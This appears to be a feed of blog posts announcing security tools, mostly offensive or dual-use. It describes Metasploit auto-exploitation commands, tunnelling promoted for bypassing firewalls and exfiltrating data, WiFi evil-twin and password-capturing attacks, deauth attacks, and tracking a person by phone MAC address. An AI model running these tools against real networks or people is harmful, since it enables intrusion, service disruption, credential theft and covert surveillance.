It should be noted that most of the services requiring API keys have free accounts and API keys. Some free accounts may have lower resource limits, but that hasn't been a problem during smaller daily investigations or testing the application.

A handy tip: Use the cat apikeys command to view which keys you do in fact have stored. If modules are failing, check here first to ensure your API key is properly saved.

Interactive Console

When you first run the CLI, you'll be greeted by a help menu with some basic information. We tried to build the command line script to mimic some common Linux console commands for ease of use. Omnibus provides commands such as cat to show information about an artifact, rm to remove an artifact from the database, ls to view currently session artifacts, and so on.

One additional feature of note is the use of the > character for output redirection. For example, if you wish to retrieve the details of an artifact named "inquest.net" saved to a JSON file on your local disk you'd simply run the command: cat inquest.net > inquest-report.json and there it would be! This feature also works with full file paths instead of relative paths.

The high level commands you really need to know to use Omnibus are:

  • session
start a new session
  • new <artifact name>
create a new artifact for investigation
  • modules
display list of available modules
  • open <file path>
load a text file list of artifacts into Omnibus as artifacts
  • cat <artifact name | session id>
view beautified JSON database records
  • ls
show all active artifacts
  • rm
remove an artifact from the database
  • wipe
clear the current artifact session

Also, if you ever need a quick reference on the different commands available for different areas of the application there are sub-help menus for this exact purpose. Using these commands will show you only those commands available relevant to a specific area:
  • general
overall commands such as help, history, quit, set, clear, banner, etc.
  • artifacts
display commands specific to artifacts and their management
  • sessions
display helpful commands around managing sessions
  • modules
show a list of all available modules

Artifacts

Most cyber investigations begin with one or more technical indicators, such as an IP address, file hash or email address. After searching and analyzing, relationships begin to form and you can pivot through connected data points. These data points are called Artifacts within Omnibus and represent any item you wish to investigate.

Artifacts can be one of the following types:
  • IPv4 address
  • FQDN
  • Email Address
  • Bitcoin Address
  • File Hash (MD5, SHA1, SHA256, SHA512)
  • User Name

Creating & Managing Artifacts

The command "new" followed by an artifact will create that artifact within your Omnibus session and store a record of the artifact within MongoDB. This record holds the artifact name, type, subtype, module results, source, notes, tags, children information (as needed) and time of creation. Every time you run a module against a created or stored artifact, the database document will be updated to reflect the newly discovered information.

To create a new artifact and add it to MongoDB for tracking, run the command new <artifact name>. For example, to start investigation the domain anydomain.com, you would run new anydomain.com.

Omnibus will automatically determine what type the artifact is and ensure that only modules for that type are executed against the artifact.

When a module is created, new artifacts may be found during the discovery process. For example, running the "dnsresolve" command might find new IPv4 addresses not previously seen by Omnibus. If this is the case, those newly found artifacts are automatically created as new artifacts in Omnibus and linked to their parent with an additional field called "source" to identify from which module they were originally found.

Artifacts can be removed from the database using the "delete" command. If you no longer need an artifact, simply run the delete command and specify the artifacts name or the session ID if it has one.

Sessions

Omnibus makes use of a feature called "sessions". Sessions are temporary caches created via Redis each time you start a CLI session. Every time you create an artifact, that artifacts name is added to the Session along with a numeric key that makes for easy retrieval, searching, and action against the related artifact. For example if you're session held one item of "inquest.net", instead of needing to execute virustotal inquest.net you could also run virustotal 1 and you would receive the same results. In fact, this works against any module or command that uses an artiface name as it's first argument.

Sessions are here for easy access to artifacts and will be cleared each time you quit the command line session. If you wish to clear the session early, run the command "wipe" and you'll get a clean slate.

Eventually, we would like to add a Cases portion to Omnibus that allows users to create cases of artifacts, move between them, and maintain a more coherent OSINT management platform. Though for this current pre-release, we will be sticking with the Session. :)

Modules

Omnibus currently supports the following list of modules. If you have suggestions or modules or would like to write one of your own, please create a pull request.

Also, within the Omnibus console, typing the module name will show you the Help information associated with that module.

Modules
  • Blockchain.info
  • Censys
  • ClearBit
  • Cymon
  • DNS subdomain enumeration
  • DNS resolution
  • DShield (SANS ISC)
  • GeoIP lookup
  • Full Contact
  • Gist Scraping
  • GitHub user search
  • HackedEmails.com email search
  • Hurricane Electric host search
  • HIBP search
  • Hunter.io
  • IPInfo
  • IPVoid
  • KeyBase
  • Nmap
  • PassiveTotal
  • Pastebin
  • PGP Email and Name lookup
  • RSS Feed Reader
  • Shodan
  • Security News Reader
  • ThreatCrowd
  • ThreatExpert
  • TotalHash
  • Twitter
  • URLVoid
  • VirusTotal
  • Web Recon
  • WHOIS
As these modules are a work in progress, some may not yet work as expected but this will change over the coming weeks as we hope to officially release version 1.0 to the world!

Machines

Machines are a simple way to run all available modules for an artifact type against a given artifact. This is a fast way if you want to gather as much information on a target as possible using a single command.

To perform this, simply run the commandmachine <artifact name|session ID>  and wait a few minutes until the modules are finished executing.

The only caveat is that this may return a large volume of data and child artifacts depending on the artifact type and the results per module. To remedy this, we are investigating a way to remove specific artifact fields from the stored database document to make it easier for users to prune unwanted data.

Quick Reference Guide

Some quick commands to remember are:
  • session - start a new artifact cache
  • cat <artifact name>|apikeys - pretty-print an artifacts document or view your stored API keys
  • open <file path> - load a text file list of artifacts into Omnibus for investigation
  • new <artifact name> - create a new artifact and add it to MongoDB and your session
  • find <artifact name> - check if an artifact exists in the db and show the results

Reporting

Reports are the JSON output of an artifacts database document, essentially a text file version of the output of the "cat" command. But by using the report command you may specify an artifact and a filepath you wish to save the output to:

omnibus >> report inquest.net /home/adam/intel/osint/reports/inq_report.json

This above command overrides the standard report directory of omnibus/reports. By default, and if you do not specify a report path, all reports will be saved to that location. Also, if you do not specify a file name the report will use the following format:

[artifact_name]_[timestamp].json

Redirection

The output of commands can also be saved to arbitrary text files using the standard Linux character >. For example, if you wish to store the output of a VirusTotal lookup for a host to a file called "vt-lookup.json" you would simply execute:

virustotal inquest.net > vt-lookup.json

By default the redirected output files are saved in the current working directory, therefore "omnibus/", but if you specify a full path such as virustotal inquest.net > /home/adam/intel/cases/001/vt-lookup.json the JSON formatted output will be saved there.

Monitoring Modules

Omnibus will soon be offering the ability to monitor specific keywords and regex patterns across different sources. Once a match is found, an email or text message alert could be sent to the user to inform them on the discovery. This could be leveraged for real-time threat tracking, identifying when threat actors appear on new forums or make a fresh Pastebin post, or simply to stay on top of the current news.

Coming monitors include:

  • RSS monitor
  • Pastebin monitor
  • Generic Pastesite monitoring
  • Generic HTTP/JSON monitoring

Download OSINT Omnibus

Metateta Automated Tool For Scanning And Exploiting Network Protocols Using Metasploit

$
0
0

Metateta Automated Tool For Scanning And Exploiting Network Protocols. 

By Using Metasploit For faster PenTesting for large networks.


What You Can Do

  • Scanning with all metasploit modules for specific network Protocol like smb,smtp,snmp
  • Run all Auxiliary modules against specific network Protocol
  • Run all Possible Metasploit Exploits for specific network Protocol That's is not recommended for real pen testing
  • Can Run against one target or network or even text file with targets

Using example's

  • run.py -R 192.168.1.15-255 -p smb -x exploit 
  • run.py -r 192.168.1.15 -p smtp -x scan 
  • run.py -f hosts.txt -p smb -x auxiliary


Download Metateta

Expliot - Internet of Things Exploitation Framework

$
0
0

Expliot - Internet of Things (IoT) Exploitation Framework


Expliot is a framework for security testing IoT and IoT infrastructure. It provides a set of plugins (test cases) and can be extended easily to create new plugins. 


The name expliot is a pun on exploit and explains the purpose of the framework i.e. Internet of Things (IoT) exploitation. It is developed in python3.



Objective

  • Easy to use
  • Easy to extend
  • Support for most IoT protocols
  • Support for Radio IoT protocols
  • Support for hardware protocols
  • One-stop-shop for IoT and IoT infrastructure security testing.

Install

  • Download the repo
  • $ cd expliot
  • $ python setup.py install

Run

$ efconsole

Contribution

Suggest new plugins/test cases
Share any vulnerability information that can be translated to a plugin
Please do not submit a patch, instead send me an email about what you have in mind
Report bugs

Screenshots




Download Expliot

SleuthQ- A Tool To Find SQL Injection Vulnerability

$
0
0
SleuthQ: A Tool To Find SQL Injection Vulnerability


SleuthQ- A Tool To Find SQL Injection Vulnerability



Python3 Burp History parsing tool to discover potential SQL injection points. To be used in tandem with SQLmap.


SleuthQL is a python3 script to identify parameters and values that contain SQL-like syntax. Once identified, SleuthQL will then insert SQLMap identifiers (*) into each parameter where the SQL-esque variables were identified.

Supported Request Types

SleuthQL requires an export of Burp's Proxy History. To gain this export, simply navigate to your proxy history tab, highlight every item and click "Save Items".

Ensure that each request is saved using base64 encoding. When SleuthQL scans the proxy history file, outside of the regular URL parameters, it will be able to identify vulnerable parameters from the following request content-types:

application/json
application/x-www-form-urlencoded
multipart/form-data

There are cases where this tool will break down. Namely, if there is nested content-types (such as a base64 encoded parameter within JSON data), it will not be able to identify those parameters. It also does not cover Cookies, as too often something such as CloudFlare will flag a parameter we're not interested in.

Why not Burp Pro?

Burp Pro's scanner is great, but isn't as full featured as SQLMap. Thus, if we can prioritize requests to feed into SQLMap in a batch-like manner and look for results this way, we can increase the detection rate of SQL injection.

Usage    

sleuthql.py -d example.com -f burpproxy.xml

SleuthQL is a script for automating the discovery of requests matching SQL-like parameter names and values. When discovered, it will display any matching parameters and paths that may be vulnerable to SQL injection. It will also create a directory with SQLMap ready request files.

Options:

  -h, --help   show this help message and exit
  -d DOMAINS, --domains=DOMAINS
             Comma separated list of domains to analyze. i.e.:
                              google.com,mozilla.com,rhinosecuritylabs.com
  -f PROXY_XML, --xml=PROXY_XML
            Burp proxy history xml export to parse. Must be base64 encoded.
  -v, --verbose  Show verbose errors that occur during parsing of the input XML.

Output Files

For each potentially vulnerable request, the SQLMap parameterized request will be saved under $(pwd)/$domain/ as text files.

Video Demo


Download SleuthQ

XFLTReaT- A Python Based Tunneling Framework

$
0
0
XFLTReaT- A Python Based Tunneling Framework


XFLTReaT A Python Based Tunneling Framework


This is just one thing of many things that was missing from the Internet. If you got tired of trying several tunneling tools for each protocols, this must be your tool framework.

Introduction

This project is an open-source Python based tunneling framework that helps you to create a tunnel between two (or more) computers on different channels/protocols. Although the name of the project correlates with the word "ex-filtrate", the framework is more about tunneling than ex-filtration. The main use-case for it is to create a full Internet Protocol v4 (IPv4) based tunnel between the end points, that can be used as a communication channel to send IP packets back and forth.

The tool is built on the client-server architecture, so at least two computers are needed to set up the environment. The server side can offer different protocols that can be used for tunneling. The client chooses a protocol that is offered by the server and available on the client network (for example: allowed on the firewall or not restricted by an active network device), and attempts to create a communication channel or tunnel with the server. If the process succeeds, the specified protocol will be used to tunnel data over the network.

Available modules

  • TCP
  • UDP
  • ICMP
  • SOCKS v4, 4a, 5
  • HTTP CONNECT
  • SCTP (by Darren Martyn @info_dox)
  • WebSocket
  • DNS (A/CNAME, PRIVATE, NULL) - Proof of Concept
  • RDP (Windows only)
  • TL;DR

If you want to:

  • get unrestricted Internet access from restricted networks
  • exfiltrate data over a noisy side channel
  • use a custom protocol to tunnel data
  • etc.

Then this could be your ultimate tool.

A few things to note
  • Python 2.7
  • root/Administrator privileges are required



    Framework

    By aiming to change this, XFLTReaT works as a framework. It supports multiple protocols (not just only one) and unifies the interface for all tunneling modules. It is possible to create new tunnel modules for protocols with ease.

    Also the framework makes tunneling easier for everybody, because:

    • It is easy to install and configure (still a basic understanding is needed)
    • The dependencies are kept low
    • Unified tunneling interface is developed for creating modules
    • Uses only one interface for all traffic
    • Handles multiple clients
    • Modular authentication support
    • Modular encryption support
    • Python based and OOP

    Installation

    to get the master branch

    # git clone https://github.com/earthquake/XFLTReaT

    # pip install -r misc/requirements_linux.txt

    to get the next-version branch

    # git clone https://github.com/earthquake/XFLTReaT
    # git checkout next-version

    Devploit- Information Gathering Tool Written In Python Script

    $
    0
    0


    Devploit is a simple python script to Information Gathering


     Download:

    git clone https://github.com/joker25000/Devploit

    How to use:


    • cd Devploit
    • chmod +x install
    • ./install
    • Run in Terminal
    • Devploit
    • (To run in Android you do not install file Run direct python2 Devploit)


    Properties :

    ● DNS Lookup ● Whois Lookup ● GeoIP Lookup ● Subnet Lookup ● Port Scanner ● Extract Links ● Zone Transfer ● HTTP Header ● Host Finder ● Robots.txt ● IP-Locator ● Traceroute ● Host DNS Finder ● Revrse IP Lookup ● Collection Email ● Subdomain Finder ● Install & Update ● About Me ● Exit


    Download Devploit

    Airgeddon- Wireless Security Auditing Tool

    $
    0
    0

    Airgeddon Wireless Security Auditing Tool


    Airgeddon is a multi-use bash script for Linux systems to audit wireless networks.

    Airgeddon Wireless Security Auditing Features

    Interface mode switcher (Monitor-Managed) keeping selection even on interface name changing
    DoS over wireless networks using different methods. “DoS Pursuit mode” available to avoid AP channel hopping (available also on DoS performed on Evil Twin attacks)

    • Full support for 2.4Ghz and 5Ghz band
    • Assisted Handshake file capturing
    • Cleaning and optimizing Handshake captured files
    • Offline password decrypting on WPA/WPA2 captured files (dictionary, bruteforce and rule based) based on aircrack, crunch and hashcat tools.
    • Evil Twin attacks (Rogue AP)
    • Only Rogue/Fake AP version to sniff using external sniffer (Hostapd + DHCP + DoS)
    • Simple integrated sniffing (Hostapd + DHCP + DoS + Ettercap)
    • Integrated sniffing, sslstrip (Hostapd + DHCP + DoS + Ettercap + Sslstrip)
    • Integrated sniffing, sslstrip2 and BeEF browser exploitation framework (Hostapd + DHCP + DoS + Bettercap + BeEF)
    • Captive portal with “DNS blackhole” to capture wifi passwords (Hostapd + DHCP + DoS + Dnsspoff + Lighttpd)
    • Optional MAC spoofing for all Evil Twin attacks
    • WPS features
    • WPS scanning (wash). Self parameterization to avoid “bad fcs” problem
    • Custom PIN association (bully and reaver)
    • Pixie Dust attacks (bully and reaver)
    • Bruteforce PIN attacks (bully and reaver)
    • Parameterizable timeouts
    • Known WPS PINs attack (bully and reaver), based on online PIN database with auto-update
    • Integration of the most common PIN generation algorithms (ComputePIN, EasyBox, Arcadyan, etc.)
    • Offline PIN generation and the possibility to search PIN results on database for a target
    • WEP All-in-One attack (combining different techniques: Chop-Chop, Caffe Latte, ARP Replay, Hirte, Fragmentation, Fake association, etc.)
    • Compatibility with many Linux distributions
    • Easy targeting and selection in every section
    • Drag and drop files on console window for entering file paths
    • Dynamic screen resolution detection and windows auto-sizing for optimal viewing
    • Controlled Exit. Cleaning tasks and temp files. Restoring iptables after an attack that require changes on them. Option to keep monitor mode if desired on exit
    • Multilanguage support and autodetect OS language feature
    • Help hints in every zone/menu for easy use
    • Auto-update. Script checks for newer version if possible
    • Docker image for easy and quick container deployment.
    • HTTP proxy auto detection for updates


    Installation:


    • Clone the repository
    • git clone --depth 1 https://github.com/v1s1t0r1sh3r3/airgeddon.git
    • Go to the newly created directory
    • cd airgeddon
    • Run it (remove sudo if you already have root permissions)
    • sudo bash airgeddon.sh


    Requirements for Airgeddon Wifi Hacking Script

    Airgeddon needs Bash 4.2 or later and it is compatible with any Linux distribution that has the tools needed installed. The script checks for them at the beginning.

    • ifconfig
    • iw
    • airmon-ng
    • aircrack-ng

    Tested on these compatible Linux distributions

    – Arch 4.6.2-1 to 4.16.4-1
    – Backbox 4.5.1 to 5
    – BlackArch 2016.01.10 to 2017.12.11
    – CentOS 6 and 7
    – Cyborg Hawk 1.1
    – Debian 7 (Wheezy) to 9 (Stretch)
    – Fedora 24 to 27
    – Gentoo 20160514 to 20180206
    – Kali 2.0, 2016.1 to 2018.2 and arm versions (Raspberry Pi)
    – OpenMandriva LX3
    – OpenSUSE Leap 42.1 to 42.3
    – Parrot Security 2.2.1 to 3.10 and arm versions (Raspberry Pi)
    – Raspbian 7 (Wheezy) to 9 (Stretch) (Raspberry Pi)
    – Red Hat 7 (Maipo)
    – Ubuntu/Xubuntu 15.10 to 18.04
    – Wifislax 4.11.1 to 64-1.1

    Download Airgeddon

    TrackerJacker- To Know All Nearby WiFi Networks And Devices Connected To Each Network

    $
    0
    0
    TrackerJacker- To Know All Nearby WiFi Networks And Devices Connected To Each Network


    TrackerJacker- To Know All Nearby WiFi Networks And Devices Connected To Each Network


    • Like Nmap for mapping WiFi networks you're not connected to, plus device tracking.
    • Maps and tracks WiFi networks and devices through raw 802.11 monitoring.



    PyPI page: https://pypi.python.org/pypi/trackerjacker

    Install

    pip3 install trackerjacker

    trackerjacker can help with the following:

    • I want to know all the nearby WiFi networks and know all the devices connected to each network.
    • I want to know who's hogging all the bandwidth.
    • I want to run a command when this MAC address sends more than 100000 bytes in a 30 second window (maybe to determine when an IP camera is uploading a video, which is indicative that it just saw motion).
    • I want to deauth anyone who uses more than 100000 bytes in a 10 second window.
    • I want to deauth every Dropcam in the area so my Airbnb hosts don't spy on me.
    • I want to be alerted when any MAC address is seen at a power level greater than -40dBm that I've never seen before.
    • I want to see when this particular person is nearby (based on the MAC of their mobile phone) and run a command to alert me.
    • I want to write my own plugin to run some script to do something fun every time a new Apple device shows up nearby.

    Usage

    Find detailed usage like this:

    trackerjacker -h

    There are 2 major usage modes for trackerjacker: 

    1. Map mode 
    2. Track mode

    Map mode example

    Map command:

    trackerjacker -i wlan1337 --map

    By default, this outputs the wifi_map.yaaml YAML file, which is a map of all the nearby WiFi networks and all of their users. Here's an example wifi_map.yaaml file:

    TEST_SSID:
      00:10:18:6b:7a:ea:
        bssid: 00:10:18:6b:7a:ea
        bytes: 5430
        channels:
        - 11
        devices:
          3c:07:71:15:f1:48:
            bytes: 798
            signal: 1
            vendor: Sony Corporation
          78:31:c1:7f:25:43:
            bytes: 4632
            signal: -52
            vendor: Apple, Inc.
        signal: -86
        ssid: TEST_SSID
        vendor: Broadcom

    BRANSONS_WIFI:
      90:48:9a:e3:58:25:
        bssid: 90:48:9a:e3:58:25
        bytes: 5073
        channels:
        - 1
        devices:
          01:00:5e:96:e1:89:
            bytes: 476
            signal: -62
            vendor: ''
          30:8c:fb:66:23:91:
            bytes: 278
            signal: -46
            vendor: Dropcam
          34:23:ba:1c:ba:e7:
            bytes: 548
            signal: 4
            vendor: SAMSUNG ELECTRO-MECHANICS(THAILAND)
        signal: -80
        ssid: BRANSONS_WIFI
        vendor: Hon Hai Precision Ind. Co.,Ltd.

    hacker_network:
      80:2a:a8:e5:de:92:
        bssid: 80:2a:a8:e5:de:92
        bytes: 5895
        channels:
        - 11
        devices:
          80:1f:02:e6:44:96:
            bytes: 960
            signal: -46
            vendor: Edimax Technology Co. Ltd.
          80:2a:a8:8a:ec:c8:
            bytes: 472
            signal: 4
            vendor: Ubiquiti Networks Inc.
          80:2a:a8:be:09:a9:
            bytes: 5199
            signal: 4
            vendor: Ubiquiti Networks Inc.
          d8:49:2f:7a:f0:8f:
            bytes: 548
            signal: 4
            vendor: CANON INC.
        signal: -46
        ssid: hacker
        vendor: Ubiquiti Networks Inc.
      80:2a:a8:61:aa:2f:
        bssid: 80:2a:a8:61:aa:2f
        bytes: 5629
        channels:
        - 44
        - 48
        devices:
          78:88:6d:4e:e2:c9:
            bytes: 948
            signal: -52
            vendor: ''
          e4:8b:7f:d4:cb:25:
            bytes: 986
            signal: -48
            vendor: Apple, Inc.
        signal: -48
        ssid: null
        vendor: Ubiquiti Networks Inc.
      82:2a:a8:51:32:25:
        bssid: 82:2a:a8:51:32:25
        bytes: 3902
        channels:
        - 48
        devices:
          b8:e8:56:f5:a0:70:
            bytes: 1188
            signal: -34
            vendor: Apple, Inc.
        signal: -14
        ssid: hacker
        vendor: ''
      82:2a:a8:fc:33:b6:
        bssid: 82:2a:a8:fc:33:b6
        bytes: 7805
        channels:
        - 10
        - 11
        - 12
        devices:
          78:31:c1:7f:25:43:
            bytes: 4632
            signal: -52
            vendor: Apple, Inc.
          7c:dd:90:fe:b4:87:
            bytes: 423223
            signal: 4
            vendor: Shenzhen Ogemray Technology Co., Ltd.
          80:2a:a8:be:09:a9:
            bytes: 5199
            signal: 4
            vendor: Ubiquiti Networks Inc.
        signal: -62
        ssid: null
        vendor: ''

    Note that, since this is YAML, you can easily use it as an input for other scripts of your own devising.

    Example: Track mode with trigger command

    Track mode allows you to specify some number of MAC addresses to watch, and if any specific devices exceeds the threshold (in bytes), specified here with the -t 4000 (specifying an alert threshold of 4000 bytes) an alert will be triggered.

    trackerjacker --track -m 3c:2e:ff:31:32:59 --t 4000 --trigger-command "./alert.sh" --channels-to-monitor 10,11,12,44
    Using monitor mode interface: wlan1337
    Monitoring channels: {10, 11, 12, 44}

    [@] Device (3c:2e:ff:31:32:59) threshold hit: 4734

    [@] Device (3c:2e:ff:31:32:59) threshold hit: 7717

    [@] Device (3c:2e:ff:31:32:59) threshold hit: 7124

    [@] Device (3c:2e:ff:31:32:59) threshold hit: 8258

    [@] Device (3c:2e:ff:31:32:59) threshold hit: 8922

    In this particular example, I was watching a security camera to determine when it was uploading a video (indicating motion was detected) so that I could turn on my security system sirens (which was the original genesis of this project).

    Example: Track mode with foxhunt plugin

    trackerjacker -i wlan1337 --track --trigger-plugin foxhunt

    Displays a curses screen like this:

      POWER        DEVICE ID                VENDOR
    =======        =================        ================================
     -82dBm        1c:1b:68:35:c6:5d        ARRIS Group, Inc.
     -84dBm        fc:3f:db:ed:e9:8e        Hewlett Packard
     -84dBm        dc:0b:34:7a:11:63        LG Electronics (Mobile Communications)
     -84dBm        94:62:69:af:c3:64        ARRIS Group, Inc.
     -84dBm        90:48:9a:34:15:65        Hon Hai Precision Ind. Co.,Ltd.
     -84dBm        64:00:6a:07:48:13        Dell Inc.
     -84dBm        00:30:44:38:76:c8        CradlePoint, Inc
     -86dBm        44:1c:a8:fc:c0:53        Hon Hai Precision Ind. Co.,Ltd.
     -86dBm        18:16:c9:c0:3b:75        Samsung Electronics Co.,Ltd
     -86dBm        01:80:c2:62:9e:36
     -86dBm        01:00:5e:11:90:47
     -86dBm        00:24:a1:97:68:83        ARRIS Group, Inc.
     -88dBm        f8:2c:18:f8:f3:aa        2Wire Inc
     -88dBm        84:a1:d1:a6:34:08

    Note that foxhunt is a builtin plugin, but you can define your own plugins using the same Plugin API.

    Example: Track mode with trigger plugin

    $ trackerjacker --track -m 3c:2e:ff:31:32:59 --threshold 10 --trigger-plugin examples/plugin_example1.py --channels-to-monitor 10,11,12,44 --trigger-cooldown 1
    Using monitor mode interface: wlan1337
    Monitoring channels: {10, 11, 12, 44}
    [@] Device (device 3c:2e:ff:31:32:59) threshold hit: 34 bytes
    3c:2e:ff:31:32:59 seen at: [1521926768.756529]
    [@] Device (device 3c:2e:ff:31:32:59) threshold hit: 11880 bytes
    3c:2e:ff:31:32:59 seen at: [1521926768.756529, 1521926769.758929]
    [@] Device (device 3c:2e:ff:31:32:59) threshold hit: 18564 bytes
    3c:2e:ff:31:32:59 seen at: [1521926768.756529, 1521926769.758929, 1521926770.7622838]

    This runs examples/plugin_example1.py every time 3c:2e:ff:31:32:59 is seen sending/receiving 10 bytes or more.

    trackerjacker plugins are simply python files that contain either:

    • Trigger class which defines a __call__(**kwargs) method (example: examples/plugin_example1.py)
    • trigger(**kwargs) function (example: examples/plugin_example2.py)

    And optionally a __apiversion__ = 1 line (for future backward compatibility)

    Example: Configuring with config file

    trackerjacker.py -c my_config.json

    And here's the example config file called my_config.json:

    {
        "iface": "wlan1337",
        "devices_to_watch": {"5f:cb:53:1c:8a:2c": 1000, "32:44:1b:d7:a1:5b": 2000},
        "aps_to_watch": {"c6:23:ef:33:cc:a2": 500},
        "threshold_window": 10,
        "channels_to_monitor": [1, 6, 11, 52],
        "channel_switch_scheme": "round_robin"
    }

    A few notes about this:
    • threshold_bytes is the default threshold of bytes which, if seen, a causes the alert function to be called
    • threshold_window is the time window in which the threshold_bytes is analyzed.
    • devices_to_watch is a list which can contain either strings (representing MACs) or dicts (which allow the specification of a name and threshold)
    • name is simply what a label you want to be printed when this device is seen.
    • threshold in the "Security camera" is how many bytes must be seen
    • channels_to_monitor - list of 802.11 wifi channels to monitor. The list of channels your wifi card supports is printed when trackerjacker starts up. By default, all supported channels are monitored.
    • channel_switch_scheme - either default, round_robin, or traffic_based. traffic_based determines the channels of most traffic, and probabilistically monitors them more.

    Example: Enable/Disable monitor mode on interface

    Trackerjacker comes with a few other utility functions relevant to WiFi hacking. One of these is the ability to turn on monitor mode on a specific interface.

    Enable monitor mode:
    trackerjacker --monitor-mode-on -i wlan0

    Disable monitor mode:
    trackerjacker --monitor-mode-off -i wlan0mon

    Note that trackerjacker will automatically enable/disable monitor mode if necessary. This functionality is just useful if you want to enable monitor mode on an interface for use with other applications (or for quicker starup of trackerjacker, if you plan to be starting/exiting to test stuff).

    Example: Set adapter channel

    trackerjacker --set-channel 11 -i wlan0

    Note that trackerjacker will automatically switch channels as necessary during normal map/track actions. This option is just useful if you want to set the channel on an interface for use with other applications.

    Recommended Hardware

    • Panda PAU07 N600 Dual Band (nice, small, 2.4GHz and 5GHz)
    • Panda PAU09 N600 Dual Band (higher power, 2.4GHz and 5GHz)
    • Alfa AWUS052NH Dual-Band 2x 5dBi (high power, 2.4GHz and 5GHz, large, ugly)
    • TP-Link N150 (works well, but not dual band)

    Download

    Neofetch- A Command-Line System Information Tool

    $
    0
    0
    Neofetch- A Command-Line System Information Tool


    Neofetch- A Command-Line System Information Tool.



    Neofetch is a command-line system information tool written in bash 3.2+. Neofetch displays information about your operating system, software and hardware in an aesthetic and visually pleasing way.


    The overall purpose of Neofetch is to be used in screen-shots of your system. Neofetch shows the information other people want to see. There are other tools available for proper system statistic/diagnostics.

    The information by default is displayed alongside your operating system's logo. You can further configure Neofetch to instead use an image, a custom ASCII file, your wallpaper or nothing at all.

    neofetch


    You can further configure Neofetch to display exactly what you want it to. Through the use of command-line flags and the configuration file you can change existing information outputs or add your own custom ones.

    Neofetch supports almost 150 different operating systems. From Linux to Windows, all the way to more obscure operating systems like Minix, AIX and Haiku. If your favourite operating system is unsupported: Open up an issue and support will be added.

    Installation:

    Download the latest release.
    https://github.com/dylanaraps/neofetch/releases/latest

    Run make install inside the script directory to install the script.
    • El Capitan: make PREFIX=/usr/local install
    • Haiku: make PREFIX=/boot/home/config/non-packaged install
    • OpenIndiana: gmake install
    • MinGW/MSys: make -i install

    NOTE: You may have to run this as root.


    Latest Git Master (Bleeding Edge)

    1. Git clone the repo.
    •  git clone https://github.com/dylanaraps/neofetch

    2. Change working directory to neofetch.
    • cd neofetch

    3. Install neofetch using the Makefile.
    • make install
    • El Capitan: make PREFIX=/usr/local install
    • Haiku: make PREFIX=/boot/home/config/non-packaged install
    • OpenIndiana: gmake install
    • MinGW/MSys: make -i install
    • NOTE: You may have to run this as root.

    NOTE: Neofetch can be uninstalled easily using make uninstall. This removes all of files from your system.

    NOTE: You can run neofetch from any folder on your system, all the makefile does is move the files to a "sane" location. The Makefile is optional.

    OS/Distro Packages

    This section lists neofetch packages that have been made for specific OS/Distros.


    Alpine Linux

    Alpine Linux v3.8 and up

    1. Update repositories
    • apk update

    2. Install the package
    • apk add neofetch

    Android (Termux)

    Neofetch is in Termux's default repos.

    1. Update repositories
    • sudo apt-get update

    2. Install the package
    • sudo apt-get install neofetch

    Arch

    Neofetch is available in the official repos.

    Install the package
    • pacman -S neofetch

    BunsenLabs

    Neofetch is available in the official repos.

    1. Update repositories
    • sudo apt-get update

    2. Install the package
    • sudo apt-get install neofetch

    CRUX

    1. Install git and the git ports(8) driver
    • sudo prt-get depinst git

    2. Add the 6c36-git repository
    • sudo wget -O /etc/ports/6c37-git.git "https://raw.githubusercontent.com/6c37/cross/master/git-driver/6c37-git.git"

    3. Sync the repos
    • sudo ports -u

    4. Add the repo to /etc/prt-get.conf with your text editor of choice
    • prtdir /usr/ports/6c37-git

    5. Install the package
    • sudo prt-get depinst neofetch

    Or alternatively use the port:

    1. Download port
    • wget -O ~/work/neofetch/Pkgfile "https://raw.githubusercontent.com/6c37/crux-ports-git/3.2/neofetch/Pkgfile"

    2. Build the package
    • fakeroot pkgmk -d

    3. Install the package
    • sudo pkgadd neofetch#git-*.pkg.tar.gz

    Debian

    Stretch / Sid (Unstable)

    Neofetch is in Debian Stretch/Sid's official repositories.

    1. Update repositories
    • sudo apt-get update

    2. Install the package
    • sudo apt-get install neofetch

    NOTE: Debian stretch repo only contains version 2.0.2.

    NOTE2: The third party bintray repo has been deprecated, if you want to stay up to date with neofetch on Debian stable, then you need to manually install newer packages from unstable or download neofetch directly from git repository since it's contained in single file.

    Fedora / RHEL / CentOS / Mageia

    NOTE: If you are using RHEL/CentOS, change dnf into yum.

    1. Make sure you have installed dnf-plugins-core
    2. Enable COPR repository
    • sudo dnf copr enable konimex/neofetch

    3. Install the package
    • sudo dnf install neofetch

    Alternatively:

    1. If you're using RHEL/CentOS, make sure you have installed epel-release
    2. Fetch the repo file
    • curl -o /etc/yum.repos.d/konimex-neofetch-epel-7.repo https://copr.fedorainfracloud.org/coprs/konimex/neofetch/repo/epel-7/konimex-neofetch-epel-7.repo

    NOTE: If you are using Fedora, change epel-7 to fedora-23 or your Fedora version respectively. However if you are using RHEL/CentOS 6, change it to epel-6.

    3. Install the package
    • sudo dnf install neofetch

    Gentoo / Funtoo

    You can install app-misc/neofetch from Gentoo/Funtoo's official repositories.

    To install the git version of neofetch, use =app-misc/neofetch-9999 instead.

    GoboLinux

    Install it with the official recipe.
    • sudo Compile neofetch

    iOS

    1. Add http://dylanaraps.com/repo to your cydia sources.
    2. Install neofetch through cydia.

    macOS (Homebrew)

    1. Install neofetch with Homebrew
    2. brew install neofetch

    NixOS

    Install it from the official repositories
    • sudo nix-env -i neofetch

    Slackware

    Download the files from SlackBuilds and follow their instructions.

    Solus

    You can find neofetch in software center under System Software > System Utilities or type sudo eopkg it neofetch.


    Ubuntu

    Ubuntu 17.04 and up

    Install it from the official repositories.

    1. Update repositories
    • sudo apt update

    2. Install the package
    • sudo apt install neofetch

    Ubuntu 16.10 and below

    1. Add PPA
    • sudo add-apt-repository ppa:dawidd0811/neofetch

    2. Update repositories
    • sudo apt update

    3. Install the package
    • sudo apt install neofetch

    Ubuntu daily builds

    This PPA contains daily builds of neofetch straight from master branch

    1. Add PPA
    • sudo add-apt-repository ppa:dawidd0811/neofetch-daily

    2. Update repositories
    • sudo apt update

    3. Install the package
    • sudo apt install neofetch

    Void Linux

    Install it from the official repositories
    • sudo xbps-install -S neofetch


    Download Neofetch

    BeRoot- A Post Exploitation Tool To Check Common Misconfigurations For Windows Linux And Mac OS

    $
    0
    0


    BeRoot- A Post Exploitation Tool To Check Common Misconfigurations For Windows Linux And Mac OS 

    A compiled version is available here.

    It will be added to the pupy project as a post exploitation module (so it will be executed in memory without touching the disk).

